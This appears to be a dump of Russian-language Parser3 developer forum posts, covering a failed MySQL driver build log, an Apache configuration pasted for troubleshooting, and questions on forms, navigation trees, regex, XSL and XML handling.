./../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.     -g -O2 -c -o ltdl.lo `test -f 'ltdl.c' || echo './'`ltdl.c\
gcc -DHAVE_CONFIG_H -I. -I. -I. -g -O2 -c ltdl.c  -fPIC -DPIC -o ltdl.lo\
./../libtool --mode=link gcc  -g -O2   -o libltdlc.la   ltdl.lo -ldl \
rm -fr .libs/libltdlc.la .libs/libltdlc.* .libs/libltdlc.*\
ar cru .libs/libltdlc.al ltdl.lo\
ranlib .libs/libltdlc.al\
creating libltdlc.la\
(cd .libs && rm -f libltdlc.la && ln -s ../libltdlc.la libltdlc.la)\
make[3]: Leaving directory `/export/home/taurus/parser3mysql-3.1.HEAD/libltdl'\
make[2]: Leaving directory `/export/home/taurus/parser3mysql-3.1.HEAD/libltdl'\
make[2]: Entering directory `/export/home/taurus/parser3mysql-3.1.HEAD'\
if ./libtool --mode=compile g++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/mysql/include/mysql    -g -O2 -MT\
parser3mysql.lo -MD -MP -MF \".deps/parser3mysql.Tpo\" \\\
  -c -o parser3mysql.lo `test -f 'parser3mysql.C' || echo './'`parser3mysql.C; \\\
then mv \".deps/parser3mysql.Tpo\" \".deps/parser3mysql.Plo\"; \\\
else rm -f \".deps/parser3mysql.Tpo\"; exit 1; \\\
fi\
g++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/mysql/include/mysql -g -O2 -MT parser3mysql.lo -MD -MP -MF\
.deps/parser3mysql.Tpo -c parser3mysql.C  -fPIC -DPIC -o parser3mysql.lo\
make[2]: Leaving directory `/export/home/taurus/parser3mysql-3.1.HEAD'\
make[1]: Leaving directory `/export/home/taurus/parser3mysql-3.1.HEAD'\
parser3mysql.C:17:27: pa_sql_driver.h: No such file or directory\
parser3mysql.C:55: syntax error before `*' token\
parser3mysql.C:65: parse error before `{' token\
parser3mysql.C: In function `int api_version()':\
parser3mysql.C:72: `SQL_DRIVER_API_VERSION' undeclared (first use this\
function)\
parser3mysql.C:72: (Each undeclared identifier is reported only once for each\
function it appears in.)\
parser3mysql.C: In function `const char* initialize(char*)':\
parser3mysql.C:76: `dlink' undeclared (first use this function)\
parser3mysql.C: At global scope:\
parser3mysql.C:91: type specifier omitted for parameter `SQL_Driver_services'\
parser3mysql.C:91: parse error before `&' token\
parser3mysql.C: In function `void connect(...)':\
parser3mysql.C:94: `url' undeclared (first use this function)\
parser3mysql.C:113: `services' undeclared (first use this function)\
parser3mysql.C:114: `struct Connection' has no member named `services'\
parser3mysql.C:118: `connection_ref' undeclared (first use this function)\
parser3mysql.C:166: `exec' undeclared (first use this function)\
parser3mysql.C: In function `void exec(Connection&, const char*)':\
parser3mysql.C:173: `void exec(Connection&, const char*)' used prior to\
declaration[/b]"
"32587","Пнул хорошо сисадмина, все скомпилил.\
Спасибо."
"32588","одному auto.p назначил обрабатывать 2 формы\
на первой странице форма запрашивает даные\
согласно этим данным делается выборка из таблицы\
генерится вторая страница\
на которой запрашивается что добавить в таблицу,\
данные из пред идущей формы подсталяются, но при отправке вместо сохранения данных возвращает на первый метод - все заного.\
посему вопрос - можно ли в одном auto.p отлавливать 2 формы?"
"32590","ровно это написано в доке и сомнений тут никаких не должно быть.\
\
другой вопрос, насколько это удобно.\
давайте обсудим."
"32591","я ведь уже говорил, что тот код, что я написал не имеет никакого отношения к моему классу, просто он написан для примера и чтобы не отвлекаться на другие аспекты моега класса я решил быстренько набросать этот пример.\
\
А мой класс navigation.p имеет следующий алгоритм:\
1. достаем из БАЗЫ (никаких файликов) данные (причем по вашему, Миша методу ^MAIN:pSQL.sql[table]) \
2. Засовываем таблицу в хеш (для ускорения поиска)\
3. Формируем полные пути для uri (в базе они хранятся без слешей и родительских путей)\
4. Рекурсивно выводим.\
\
никаких N table::load и table.select у меня нет, они написаны лишь для примера. Так что я не думаю, что eq будет летать...\
\
ЗЫ простите за возможную грубость \
как никак 3 раза одно и то же пишу :)"
"32592","Создавайте у форм поля типа hidden, по которым отлавливайте при обработке формы какой шаг алгоритма сейчас нужно выполнить... Посмотрите [url=\"http://www.parser.ru/examples/feedback/\"]этот[/url] код..."
"32593","есть набросок. \
\
а регулярное выражение, это не бубен какой-то, которым трясти умеют только шаманы.\
это часть [b]вашего[/b] кода, будь то parser, php или perl.\
часть языка, если хотите.\
\
между нами: точно такой же подход будет быстро работать и в php и в perl; этот способ один из самых быстрых и уж точно самый простой, поскольку тут вся обработка выражения на протяжении всей замены идёт внутри того кода, который написан заведомо [b]более[/b] эффективно, чем высокоуровневый код."
"32594","после чего спасибо ему не забудьте сказать :)\
\
была типичная ошибка: распаковано не так, как указано в документации."
"32595","Ну меня лично удивило такое положение вещей, ведь при печати - данный функционал отрабатывает верно!\
А при формировании переменной - нет\
Мое мнение - это не правельно, хорошо бы проверять строку на 0 , затем вычислять разделитель - и только потом - вычислять строку.\
это более понятно - и будет отрабатывать одинаково во всех случаях."
"32596","Простой вариант решения данной задачи - я нашел, но все же остаюсь при мнении, что так же должен работать и {разделитель}\
А вот решение:\
[code]\
#создадим простую табличку\
$tb[^table::create{name\
Вася\
Петя\
Вова\
Гена\
}]\
\
^tb.menu{\
  $x1[$x2 $tb.name]\
  $x2[$x1 OR]\
}\
<br>$x1\
[/code]\
\
То есть вообще без использования разделителя\
И вот что мы получим в результате:\
\
Вася OR Петя OR Вова OR Гена"
"32597","Dima, вы чуть раньше писали, что:\
\
[quot]но ведь у меня есть uri, и form:id мне не нужен больше[/quot]\
\
а потом вы пишете, что:\
\
[quot]то ли дело сравнивать цифры, с которыми процессору горАздо легче работать, нежели че с огромными (т.к. сформированными) путями[/quot]\
\
Человеку легче работать со строками, воспринимать строки, чем цифры, а процессору, конечно, подавай цифры, а не строки, лучше в двоичном виде, чем в десятичном. Когда пользователь видит в строке навигации что-то типа \
www.site.ru/branch/index.html?id=1290&subid=256 - это, конечно, похуже, чем просто адресная строка.\
\
Вывод - нужно решить, кого вы больше любите - человека или компьютер :-) Еще выбор зависит от количества разделов. Кроме вас никто не знает, сколько там будет разделов. \
\
P.S.\
Еще можно кэшировать страницы."
"32598","нельзя \"проверить строку на 0\" не \"вычислив строку\""
"32599","Начал по-тихоньку изучать рег. выражения — уже что-то получается =)"
"32600","Кто не слышал про Zend, поясню, что имеется ввиду система шифрования (а заодно и оптимизации). Из-под системы Zend выходят стройные скомпилированные файлики, которые обратному процесу не поддаются - зато работают молниеностно."
"32601","Кажеться вы не поняли, или я неправельно выразился :)\
я тестил навигацию... и чтобы не создавать кучу папок с вложениями я просто передавал id раздела. получалась конструкция:\
<a href=\"?id=$navigation.id\">$navigation.name</a>\
теперь у меня с помощью хеша уже сформированные полные uri лежат и и ждут и я, проверив есть ли у раздела дети (пример Миши) засовываю хеш в таблицу и рекурсивно вывожу. \
во как :)\
\
теперь конструкция\
<a href=\"?id=$navigation.id\">$navigation.name</a>\
заменяется на:\
<a href=\"$navigation.uri\">$navigation.name</a>\
...\
и как же мне найти родителей? каждый раз сравнивать вот такие пути: /name_1/name_1_1/name_1_1_2/name_1_2_1/ ?\
помойму не есть гуд :)\
\
________________________________\
\
немного отклонившись от темы, я бы хотел одновременно рассказать, как я делаю и спросить правельно ли это. \
итак, как я вызываю страницу:\
в базе page у меня хранится такая структура:\
[code]\
id   parent_id   title\
# body в другой таблице\
[/code]\
я в index.html любого раздела пишу:\
[code]\
@auto[]\
$get_id(54)\
[/code]\
и у меня вызывается страница с id=54, т.к. в соответствующем классе описан метод загрузки страницы по заданному id ($get_id)\
...\
скажите, можно ли использовать такой метод? правельный ли он, или есть более оптимальный?\
...\
теперь про навигацию, что если вычислять текущий id по заданному в index.html любого раздела? ведь в таблице navigation id точно такие же, как и в pagе...\
правельный ли это подход? \
...\
при таком раскладе процессор будет работать с цифрами :)) и будет счастлив, а люди (любимые мои) не получать uri вида: www.site.ru/branch/index.html?id=1290&subid=256"
"32602","есть заметка в исходнике, какую именно мелочь надо поправить, чтобы байткод стал «отчуждаемым», не был привязан ни к каким указателям.\
\
такой байткод можно кэшировать разными способами.\
\
[b]однако[/b] недекомпилируемость — обычно лишь вопрос упорства того, кто хочет декомпилировать."
"32603","Вычисляйте, кто против - но результат необходимо возвращать только после вычисления разделителя! Ктоме того, интересно как так получается что при выводе на печать - разделитель отрабатывает верно?! Какие то запладки?\
Может я что то не верно понимаю - но мой самый первый пример - наглядно демонстрирует неточность...\
если Вы не согласны со мной - то прошу хоть описать данныю особенность в Документации\
Поскольку - в фразе \
[quot]Разделитель - код, который вставляется после каждой непустой строки, кроме последней[/quot]  - основной синтактический упор - падает на слово ПОСЛЕ, ну а слово НЕПУСТОЙ - только при глубокомысленном изучении вопроса приводит к догадке - что раз непустой - то идет проверка на 0, а раз проверка - то прежде надо вычислить выражение цыкла...\
\
Простите меня за небольшой сарказм в интонации - но мне всерьез кажется что я прав..."
"32604","Zend на сегодня единственный компилятор/оптимизатор, который не взломали... У него есть только два минуса - ZendEncoder работает только с PHP и стоит 3000 $. :)"
"32605","Пожалуйста, объясните.\
ОС Win2kserv + IIS. \
На форуме искал об этом. В файлах рабочих что-то похожее на журналы искал. В системных логах искал. По *.log тоже. Нигде пока ничего не нашел. Может флаг какой в конфиге включить? Или объясните где искать/читать."
"32607","Извиняюсь в FAQ не искал."
"32608","что до «не сломали», это всё вопрос желания.\
невскрываемых не бывает.\
и потом: смотря что нужно сломать.\
\
сделать, чтобы parser мог кэшировать скомпилированный байткод можно, это не сложно. приму \"patch -u\""
"32609","1. Сколько всего разделов? Если 10-15, то стоит ли огород городить? Себя тоже нужно любить.. )))\
Не совсем понимаю, какую практическую проблему вы решаете. Или вы хотите, чтобы ваш код работал максимально экономно?\
\
2. Можно, например, построить такой хэш:\
[code]\
$tree[\
     $.id[1]\
     $.news[\
     $.id[2]\
     $.archiv[\
              $.id[3]\
             ]\
     ]\
     $.branch[\
             $.id[4]\
             $.leaf[\
                   $.id[5]\
                   ]\
             ]\
# -------и так далее -----------\
     $.help[]\
     $.other[]\
]\
[/code]\
Далее, берете [code]$request:uri[/code], заменяете в нем \"/\" на \".\" и ищете id:\
[code]$id[$tree${uristring}id][/code]\
\
где $uristring - то, что получается после замены:\
\
$request:uri    $uristring\
/               .\
/news/          .news.\
/news/archiv/   .news.archiv.\
\
Но я не знаю, насколько это оптимально... \
Сам я руководствую сначала личным удобством работы с кодом, потом уже скоростью работы самого кода.\
\
3. Часто используется способ, когда у вас вообще нет никаких страничек, кроме index.html, все остальные генерируются, а когда пользователь хочет открыть что-нибудь, типа /news/archiv/ , с помощью директив модуля mod_rewrite Apache  перенаправляет запрос на /index.html, в котором, в свою очередь, запускается код, анализирующий запрос и выдающий нужную страницу. Но это hard shit, я сейчас только начал с этим разбираться.\
\
...вот, больше ничем помочь не могу.."
"32610","Установил Parser 3.1.3 на mac OS X 10.3\
при попытке проверить работу файлом _test.html в бразуварах вижу Internal Server Error, ! при чем apach евское сообщение, потому что если из шела набираю\
root# /www/server3/cgi-bin/parser3.cgi -f /www/server3/cgi-bin/auto.p /www/server3/html/_test.html\
\
то вижу нормальный html и там всё чики пики.\
[code]\
.. .. .. ..\
<p>\
<b>DOCUMENT_ROOT:</b> <br />\
<b>$response:charset:</b> WINDOWS-1251<br />\
<b>$request:charset:</b> WINDOWS-1251<br />\
<b>$request:uri:</b> <br />\
<b>$request:query:</b>  <br />\
<b>$SQL.connect-string:</b> defined<br />\
<b>$CLASS_PATH:</b>\
.. .. .. ..\
[/code]\
\
\
А в серверном error.log пишется: Premature end of script headers: /www/server3/cgi-bin/parser3.cgi\
\
Что бы ёто значит всё? Как вылечить?\
\
P.S. права на parser.cgi 755"
"32612","[code]\
##\
## httpd.conf -- Apache HTTP server configuration file\
##\
\
ServerType standalone\
\
ServerRoot \"/usr/local/apache\"\
\
PidFile /var/httpd.pid\
\
ScoreBoardFile /var/run/httpd.scoreboard\
\
Timeout 300\
\
KeepAlive On\
\
MaxKeepAliveRequests 100\
\
KeepAliveTimeout 15\
\
MinSpareServers 5\
MaxSpareServers 10\
\
StartServers 5\
\
MaxClients 150\
\
MaxRequestsPerChild 0\
\
Port 80\
\
User www\
Group www\
\
ServerAdmin root@localhost.net\
ServerName 127.0.0.1\
\
#DocumentRoot \"/Library/WebServer/Documents\"\
DocumentRoot \"/www/server1/html\"\
<Directory />\
    Options FollowSymLinks\
    AllowOverride None\
</Directory>\
\
#<Directory \"/Library/WebServer/Documents\">\
<Directory \"/www/server1/html\">\
    Options Indexes FollowSymLinks MultiViews\
    AllowOverride None\
\
    Order allow,deny\
    Allow from all\
</Directory>\
\
<IfModule mod_userdir.c>\
    UserDir public_html\
</IfModule>\
\
<IfModule mod_dir.c>\
    DirectoryIndex index.html\
</IfModule>\
\
AccessFileName .htaccess\
\
<Files ~ \"^\\.ht\">\
    Order allow,deny\
    Deny from all\
    Satisfy All\
</Files>\
\
\
UseCanonicalName On\
\
<IfModule mod_mime.c>\
    TypesConfig /etc/httpd/mime.types\
</IfModule>\
\
DefaultType text/plain\
\
<IfModule mod_mime_magic.c>\
    MIMEMagicFile /etc/httpd/magic\
</IfModule>\
\
HostnameLookups Off\
\
ErrorLog /var/log/httpd/error_log\
\
LogLevel warn\
\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b\" common\
LogFormat \"%{Referer}i -> %U\" referer\
LogFormat \"%{User-agent}i\" agent\
\
CustomLog /var/log/httpd/access_log common\
\
ServerSignature On\
\
<IfModule mod_alias.c>\
\
\
    Alias /icons/ \"/usr/local/apache1/share/httpd/icons/\"\
\
    <Directory \"/usr/local/apache1/share/httpd/icons\">\
        Options Indexes MultiViews\
        AllowOverride None\
        Order allow,deny\
        Allow from all\
    </Directory>\
\
    Alias /manual/ \"/Library/WebServer/Documents/manual/\"\
\
    <Directory \"/Library/WebServer/Documents/manual\">\
        Options Indexes FollowSymlinks MultiViews\
        AllowOverride None\
        Order allow,deny\
        Allow from all\
    </Directory>\
\
    #ScriptAlias /cgi-bin/ \"/Library/WebServer/CGI-Executables/\"\
	ScriptAlias /cgi-bin/ \"/www/server1/cgi-bin/\"\
    #<Directory \"/Library/WebServer/CGI-Executables\">\
	<Directory \"/www/server1/cgi-bin\">\
        AllowOverride None\
        Options All\
        Order allow,deny\
        Allow from all\
    </Directory>\
\
</IfModule>\
<IfModule mod_autoindex.c>\
\
    IndexOptions FancyIndexing\
\
    AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip\
\
    AddIconByType (TXT,/icons/text.gif) text/*\
    AddIconByType (IMG,/icons/image2.gif) image/*\
    AddIconByType (SND,/icons/sound2.gif) audio/*\
    AddIconByType (VID,/icons/movie.gif) video/*\
\
    AddIcon /icons/binary.gif .bin .exe\
    AddIcon /icons/binhex.gif .hqx\
    AddIcon /icons/tar.gif .tar\
    AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv\
    AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip\
    AddIcon /icons/a.gif .ps .ai .eps\
    AddIcon /icons/layout.gif .html .shtml .htm .pdf\
    AddIcon /icons/text.gif .txt\
    AddIcon /icons/c.gif .c\
    AddIcon /icons/p.gif .pl .py\
    AddIcon /icons/f.gif .for\
    AddIcon /icons/dvi.gif .dvi\
    AddIcon /icons/uuencoded.gif .uu\
    AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl\
    AddIcon /icons/tex.gif .tex\
    AddIcon /icons/bomb.gif core\
\
    AddIcon /icons/back.gif ..\
    AddIcon /icons/hand.right.gif README\
    AddIcon /icons/folder.gif ^^DIRECTORY^^\
    AddIcon /icons/blank.gif ^^BLANKICON^^\
\
    DefaultIcon /icons/unknown.gif\
\
    ReadmeName README\
    HeaderName HEADER\
\
    IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t\
\
</IfModule>\
<IfModule mod_mime.c>\
\
    AddLanguage da .dk\
    AddLanguage nl .nl\
    AddLanguage en .en\
    AddLanguage et .ee\
    AddLanguage fr .fr\
    AddLanguage de .de\
    AddLanguage el .el\
    AddLanguage he .he\
    AddCharset ISO-8859-8 .iso8859-8\
    AddLanguage it .it\
    AddLanguage ja .ja\
    AddCharset ISO-2022-JP .jis\
    AddLanguage kr .kr\
    AddCharset ISO-2022-KR .iso-kr\
    AddLanguage nn .nn\
    AddLanguage no .no\
    AddLanguage pl .po\
    AddCharset ISO-8859-2 .iso-pl\
    AddLanguage pt .pt\
    AddLanguage pt-br .pt-br\
    AddLanguage ltz .lu\
    AddLanguage ca .ca\
    AddLanguage es .es\
    AddLanguage sv .sv\
    AddLanguage cs .cz .cs\
    AddLanguage ru .ru\
    AddLanguage zh-TW .zh-tw\
    AddCharset Big5         .Big5    .big5\
    AddCharset WINDOWS-1251 .cp-1251\
    AddCharset CP866        .cp866\
    AddCharset ISO-8859-5   .iso-ru\
    AddCharset KOI8-R       .koi8-r\
    AddCharset UCS-2        .ucs2\
    AddCharset UCS-4        .ucs4\
    AddCharset UTF-8        .utf8\
\
\
    <IfModule mod_negotiation.c>\
        LanguagePriority en da nl et fr de el it ja kr no pl pt pt-br ru ltz ca es sv tw\
    </IfModule>\
\
    AddType application/x-tar .tgz\
\
    AddEncoding x-compress .Z\
    AddEncoding x-gzip .gz .tgz\
    AddHandler cgi-script .cgi .pl\
\
\
</IfModule>\
\
<IfModule mod_setenvif.c>\
\
    BrowserMatch \"Mozilla/2\" nokeepalive\
    BrowserMatch \"MSIE 4\\.0b2;\" nokeepalive downgrade-1.0 force-response-1.0\
\
    BrowserMatch \"RealPlayer 4\\.0\" force-response-1.0\
    BrowserMatch \"Java/1\\.0\" force-response-1.0\
    BrowserMatch \"JDK/1\\.0\" force-response-1.0\
\
</IfModule>\
\
<Location /cgi-bin/phf*>\
    Deny from all\
    ErrorDocument 403 http://phf.apache.org/phf_abuse_log.cgi\
</Location>\
\
\
AddHandler parser3-handler .html\
Action parser3-handler /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
	Order allow,deny\
	Deny from all\
</Files>\
\
<VirtualHost 127.0.0.3>\
	ServerAdmin work@email.ru\
	ServerName NewSite\
	DocumentRoot \"/www/server3/html\"\
	<Directory   \"/www/server3/html\">\
		Options All\
		AllowOverride All\
		Order allow,deny\
		Allow from all\
	</Directory>\
	ScriptAlias /cgi-bin/ \"/www/server3/cgi-bin/\"\
	<Directory   \"/www/server3/cgi-bin\">\
		Options All\
		AllowOverride All\
		Order allow,deny\
		Allow from all\
	</Directory>\
	AddHandler    parsed-html .html\
	Action parsed-html /cgi-bin/parser3.cgi\
	<Files ~ \"\\.(p|cfg)$\">\
		Order allow,deny\
		Deny from all\
	</Files>\
	DirectoryIndex index.html\
	ErrorLog   \"/www/server3/error.log\"\
	CustomLog \"/www/server3/access.log\" common\
</VirtualHost>\
[/code]"
"32613","перед запуском рекурсивного обхода вашего дерева создайте например хеш, где ключ - id родителей вашего объекта, а значение - 1.\
и соответственно входите в рекурсию если ^if($parents_hash.[$level.id]){...}\
\
вот и обойдете только открытую ветку.\
а список родителей моздать элементарно: locate в вашей таблицы по полному пути на текущий объект, затем ^while(!$parent_id){...}"
"32614","У меня установлен Parser, хотел установить скрипт поиска на PHP, но файлы .php просто не работают..."
"32615","А если серьёзно, то\
\
- операционка какая (или вы у провайдера пытаетесь скрипт пускать?)\
- php установлен?"
"32616","[code]\
# копирует содержимое директории из from_dir в $to_dir\
# можно задать опцию $.is_recursive(1) - тогда будут скопированы все подкатегории\
@dir_copy[from_dir;to_dir;params][list;lparams]\
^if(def $from_dir && def $to_dir && $from_dir ne $to_dir){\
	$lparams[^hash::create[$params]]\
	$list[^file:list[$from_dir]]\
	^list.menu{\
		^if($lparams.is_recursive && -d \"$from_dir/$list.name\"){\
			^dir_copy[$from_dir/$list.name;$to_dir/$list.name]\
		}\
		^if(-f \"$from_dir/$list.name\"){\
			^file_copy[$from_dir/$list.name;$to_dir/$list.name]\
		}\
	}\
}\
[/code]\
\
вызываю:\
[code]\
^dir_copy[/from_dir;/to_dir;$.is_recursive(1)]\
[/code]\
в каталоге from_dir около пяти вложенных каталогов, рекурсии только три! \
в чем проблема?\
\
спасибо"
"32617","со всей вложенностью, что-то типа\
[code]\
/from_dir/\
    /sub_dir/\
        file1.pdf\
        archive.zip\
    /sub_dir2/\
        file2.pdf\
\
 ...\
[/code]\
\
и структуру получившейся to_dir, если не затруднит, а то не совсем понятно это ваше \"рекурсии только три\"..."
"32620","Пытаюсь написать код для карты сайта.\
В текущей реализации структура разделов описана в sections.cfg и имеет вид\
section_id	name	uri\
1	Главная	/\
2	Информация о комплексе	/about/\
3	Разделы	/parts/\
4	Покупки	/parts/goods/\
5	Подарки	/parts/gifts/\
6	Развлечения	/parts/ent/\
7	Рестораны и кафе	/parts/food/\
8	План помещений	/plan/\
\
Не подскажете метод вывода url подразделов в виде дерева.\
Чую что нужно использовать hash данной таблицы, да не совсем понятно пока как.\
\
Также, пытаюсь разобраться с классом uri из примеров.\
Но вот что получаю при его вызове:\
\
index.html\
----------\
@USE\
uri.p\
\
@main[]\
# создание исходной таблицы\
$items[^table::load[sections.txt]]\
\
# создание объекта класса\
$object[^uri::init[$items]]\
\
# получаем таблицу содержащую список всех URI сайта\
$site_uri[^object.get_all_site_uri[]]\
\
^site_uri.menu{$sire_uri.uri, $site_uri.id, $site_uri.title}\
\
sections.txt\
------------\
id	parent_id	dir	title\
1	0	hardware	Железо\
11	1	computers	Компьютеры\
12	1	printers	Принтеры\
121	12	laser	Лазерные\
122	12	ink	Струйные\
2	0	software	Программное обеспечение\
21	2	os	Операционные системы\
22	2	editors	Текстовые редакторы\
3	0	news	Новости\
\
Результат:\
----------\
, 1, Железо, 11, Компьютеры, 12, Принтеры, 121, Лазерные, 122, Струйные, 2, Программное обеспечение, 21, Операционные системы, 22, Текстовые редакторы, 3, Новости\
\
Почему этих uri нету?\
\
Не ругайте сильно, это мой второй эксперимент с парсером :)"
"32621","спасибо, разобрался"
"32622","[code]\
<IFRAME src=\"news.php\" width=\"100%\" height=\"100%\" scrolling=\"no\" frameborder=\"0\"></IFRAME>[/code]"
"32623","под 2.7"
"32624","uri нет, imho, потому что их нет в sections.txt ;-)\
\
относительно построения деревьев имеет смысл сначала поискать на форуме, чтобы в ..цатый раз не задавать одни и те же вопросы, на которые неинтересно уже отвечать.\
\
Пару дней назад деревья снова обсуждались, кстати..."
"32625","у него спросите."
"32626","Привет!\
такая ситуация - в исходном XML есть фрагмент\
[code]\
<td>$b$boldText$/b$plainText$i$italicText$/i$</td>\
[code]\
то есть каждый html тэг <tagname> заменен на $tagname$ и закрывающий </tagname> заменен на $/tagname$\
требуется в результате получить \"нормальные\" тэги html, то есть нужно получить\
[code]\
<td><b>boldText</b>plainText<i>italicText</i></td>\
[/code]\
возможно ли вообще это сделать средствами XSL? покопавшись в спецификации сходу ничего такого не нашел. если можно, примерчик какой-нить на эту тему ;)\
спасибо!"
"32627","если нельзя повлиять на недальновидного человека, сформировавшего такой «XML», то перед xdoc::create сделайте ^string.replace эти закорючки на нормальные теги. и только потом отдайте в transform."
"32628","XML:\
[code]<СправочныеДанные>\
 <Фотография Название=\"Фото №1.\" Дата=\"08.08.04\" ИмяФайла=\"Imgp0088.jpg\" />\
 <Фотография Название=\"Фото №2.\" Дата=\"08.08.04\" ИмяФайла=\"Imgp0089.jpg\" />\
 <Фотография Название=\"Фото №3.\" Дата=\"08.08.04\" ИмяФайла=\"Imgp0090.jpg\" />\
</СправочныеДанные>[/code]\
\
XSL:\
[code]<?xml version=\"1.0\" encoding=\"windows-1251\" ?>  \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\"> \
\
<xsl:template match=\"СправочныеДанные\"> \
<table>\
 <xsl:apply-templates select=\"//Фотография[@ИдСтраницы=3001]\" />\
</table>\
</xsl:template>\
\
<xsl:template match=\"Фотография\">\
 <tr>\
  <td width=\"50%\">\
   [b]<xsl:if test=\"Условие для 1го столбца\">[/b]\
    <img src=\"/img/rest/3001/{@ИмяФайла}\" alt=\"{@Название}\" width=\"200\" border=\"0\" />\
   </xsl:if>\
  </td>\
 <td width=\"50%\">\
  [b]<xsl:if test=\"Условие для 2го столбца\">[/b]\
   <img src=\"/img/rest/3001/{@ИмяФайла}\" alt=\"{@Название}\" width=\"200\" border=\"0\" />\
  </xsl:if>\
 </td>\
</tr>\
</xsl:template> \
\
</xsl:stylesheet>[/code]\
\
Как правильно записать [b]\"Условие для 1го столбца\"[/b] ?\
Пробовал \"position()/2 = round(position()/2)\".\
Но синтаксис неправильный видимо.\
\
P.S. форум смотрел, но нашел только как средствами парсера делать:\
http://www.parser.ru/forum/?id=2495"
"32629","продолжайте читать.\
\
2all: просьба не потакать лени."
"32630","Ошибка из-за деления:\
<xsl:if test=\"2/2\"> - неверно\
<xsl:if test=\"number(2/2)\"> - неверно\
\
Как правильно разделить в XSL ?"
"32634","Всем привет.\
\
Вот такие у меня строчки в программе:\
\
var locatorObj = new ActiveXObject(\"WbemScripting.SWbemLocator\");\
var providerObj = locatorObj.ConnectServer(\"localhost\", \"root/MicrosoftIISv2\");\
var serviceObj = providerObj.Get(\"IIsWebService='W3SVC'\");\
\
ошибка на строке с ConnectServer: неправильное пространство имен.\
причем на 2003 все работает.\
\
вместо localhost вводила и само имя сервера, писАла так же:\
var providerObj = locatorObj.ConnectServer(\"localhost\", \"root/MicrosoftIISv2\",\"\",\"\");\
\
не помогает\
\
:(("
"32635","как при помощи регулярных варажений заменить кавычки типа \"\" на «»"
"32636","Да, у провайдера."
"32638","text.match[\\\"([А-Яа-я]+)\\\"][gi]{&laquo^;$match.1&raquo^;}"
"32641","Есть XML:\
<Фотография Название=\"Фото №1\" Дата=\"01.01.01\" ИмяФайла=\"1.jpg\" />\
<Фотография Название=\"Фото №2\" Дата=\"01.01.01\" ИмяФайла=\"2.jpg\" />\
<Фотография Название=\"Фото №3\" Дата=\"02.01.01\" ИмяФайла=\"3.jpg\" />\
<Фотография Название=\"Фото №4\" Дата=\"03.01.01\" ИмяФайла=\"4.jpg\" />\
<Фотография Название=\"Фото №5\" Дата=\"01.01.01\" ИмяФайла=\"5.jpg\" />\
\
Хочется получить список вида:\
01.01.01\
02.01.01\
03.01.01\
\
Сейчас беру список средствами SQL из БД, хотя информация есть в XML.\
Можно ли как-то выбирать такой список средствами XSL ?\
(перебором отсортированных со сравнением наверное можно, но это неверный вариант видимо)\
\
2PAF: От Вас достаточно будет вердикта \"можно\" или \"нельзя\", дальше постараюсь сам найти :)"
"32642","[url=\"http://www.parser.ru/forum/?id=6758\"][color=\"#ffffff\"]подробнее...[/color][/url]"
"32645","Если сделать ^use[какого-то файла.p] в auto.p, и в том файле не определен класс, то получается нечто странное: в методах этого файла не видны объекты, созданные в auto.p Почитав руководство, я сделал вывод, что это подключенный таким образом файл не являеся частью класса MAIN. Чем же он тогда является? Как правильно обращаться к его методам и вызывать методы и объекты auto.p из него?"
"32646","проверьте, что происходит до его подключения.\
\
руководство: где вы такое прочли? url=?"
"32647","до подключения происходит коннект - и всё.. Если вырезать тот же код из подключаемого файла и поместить сразу после^use[] - переменные видны нормально.\
А в руководстве написано, что MAIN составляют только файлы auto.p вниз по папкам. Я просто сделал такой вывод для себя, пока нет иного.\
Скажите пожалуйста, как _должно_ работать? Переменные - везде быть видны?"
"32648","что будто бы «MAIN составляют [b]только[/b] файлы auto.p».\
\
вы сделали неправильный вывод, и последствия, понятно, сбивают вас с толку.\
\
про переменные: почитайте в FAQ, как надо спрашивать в форуме."
"32649","Оказываеся, метод auto[] подключаемого файла вызывается ПОСЛЕ метода main[] вызываемого в запросе, а не сразу после ^use[]"
"32650","@auto подключаемого файла вызывается в момент подключения файла (если тот не был подключен раньше).\
\
возможно, вы разобрались не до конца."
"32652","Спасибо за ответы :)\
\
Во второй части (про примеры) сам дурак, описАлся (sire<>site)\
\
А вот по первой так ясности и не добавилось :)"
"32653","Товарищи, прошу помощи.\
Что-то сам никак сообразить не могу…\
\
Имеем:\
1. Дерево вида:\
[code] \
$body[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<body>\
</body>\
}]\
[/code]\
\
2. И дерево вида:\
[code]\
$tree[^xdoc::create{<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<tree>\
	<section id=\"1\">\
	</section>\
</tree>}]\
 [/code]\
\
Задача: добавить второе дерево к первому, до получения вида:\
[code] \
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<body>\
	<tree>\
		<section id=\"1\">\
		</section>\
	</tree>\
</body>\
[/code]\
\
Напрягая поиск по форуму и свой небольшого ума мозг, пытался сделать так:\
[code]\
$select_node[^body.selectSingle[body]]\
$select_tree[^tree.selectSingle[tree]]\
$Node[^select_node. appendChild[$select_tree]]\
[/code]\
\
После чего получаю ошибку [b]DOMException WRONG_DOCUMENT_ERR (4)[/b].\
\
C добавлением к дереву потомка, формируемого по частям понятно, а вот как добавить целое дерево - допереть не могу.\
Пните в нужное место, пожалуйста."
"32654","[b]Здравствуйте![/b]\
Только начал разбираться с Парсером, не сочтите совсем уж тупым :-)\
Хотелось бы спросить: не подскажете, как можно передать из [code]auto.p[/code] таблицу с 3-мя параметрами. Вот кусочек моего кода:\
[color=\"#ff0000\"]\
$sections[^table::load[/konf.txt]]\
 ^sections.menu{\
 <tr> \
